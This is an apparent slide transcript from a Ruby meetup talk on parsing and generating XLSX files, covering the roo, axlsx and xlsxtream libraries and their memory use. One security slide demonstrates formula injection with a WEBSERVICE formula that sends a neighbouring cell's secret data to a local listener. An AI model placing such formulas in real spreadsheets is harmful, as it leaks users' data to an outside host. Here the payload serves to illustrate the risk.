XLSX in Ruby. RRUG #9

Handling XLSX files in ruby - parsing, generating; efficiency and security.
Slides from presentation during Rzeszów Ruby User Group meetup.

Transcript

1. XLSX IN RUBY XLSX IN RUBY MACIEK RZĄSA, MACIEK RZĄSA, Rzeszów Ruby User Group, 12.10.2017 @MJRZASA @MJRZASA
2. WHY XLSX? WHY XLSX?
3. INTERNALS INTERNALS $ unzip -l 10-shared-true.xlsx Archive: 10-shared-true.xlsx Length Date Time Name --------- ---------- ----- ---- 1944 2017-10-12 01:07 xl/worksheets/sheet1.xml 313 2017-10-12 01:07 xl/workbook.xml 1090 2017-10-12 01:07 xl/styles.xml 1439 2017-10-12 01:07 xl/sharedStrings.xml 566 2017-10-12 01:07 xl/_rels/workbook.xml.rels 297 2017-10-12 01:07 _rels/.rels 817 2017-10-12 01:07 [Content_Types].xml --------- ------- 6466 7 files
4. xl/worksheets/sheet1.xml
5. PARSING PARSING roo creek rubyXL
6. PARSING EXAMPLE PARSING EXAMPLE sheet = Roo::Excelx.new(path) sheet.cell(1,1) sheet.cell('A',1) sheet.cell(1,'A') sheet.a1 cells = sheet.sheet_for(sheet.sheets.first).cells data = sheet.header_line.upto(sheet.last_row).map do |row| [cells[[row, 1]]), cells[[row, 2]]] end
7. PARSING PERFORMANCE PARSING PERFORMANCE source:spin.atomicobject.com
8. GENERATING GENERATING axlsx xlsxtream
9. AXLSX AXLSX Axlsx::Package.new.tap do |p| p.workbook.add_worksheet(name: 'Test') do |sheet| data.each do |row| sheet.add_row(row) end end p.use_shared_strings = true p.serialize(path) end
10. XLSXTREAM XLSXTREAM Xlsxtream::Workbook.open(path, use_shared_strings: true) do |xlsx| xlsx.write_worksheet "Test" do |sheet| data.each do |row| sheet << row end end end
11. PERFORMANCE PERFORMANCE
13. XLSX/CSV MEMORY XLSX/CSV MEMORY [csv]10 25847 allocated [csv]100 62069 allocated - 2.40x more [stream]10 77358 allocated - 2.99x more [stream]100 273694 allocated - 10.59x more [csv]1000 424315 allocated - 16.42x more [axlsx]10 527579 allocated - 20.41x more [axlsx]100 1528683 allocated - 59.14x more [stream]1000 1927186 allocated - 74.56x more [csv]10000 4046771 allocated - 156.57x more [axlsx]1000 11062251 allocated - 427.99x more [stream]10_000 17440784 allocated - 674.77x more [axlsx]10_000 104650749 allocated - 4048.85x more
14. XLSX/CSV GENERATION TIME XLSX/CSV GENERATION TIME
15. SECURITY SECURITY let's try it require 'axlsx' Axlsx::Package.new.tap do |p| p.workbook.add_worksheet(name: 'Test') do |s| s.add_row(['Secret client data']) s.add_row(['=1+2', '=WEBSERVICE(CONCAT ("http://localhost:4567/", "'", A1, "'"))' ]) end p.serialize('out/injection-axlsx.xlsx') end
16. CAN WE AVOID USING XLSX? CAN WE AVOID USING XLSX?
17. SOURCES SOURCES https://spin.atomicobject.com/2017/03/22/parsing-ex ruby/ https://stackover�ow.com/q/3321011/580346 https://stackover�ow.com/q/40804944/580346 https://pentestmag.com/formula-injection/ https://twitter.com/owickstrom/status/91766512471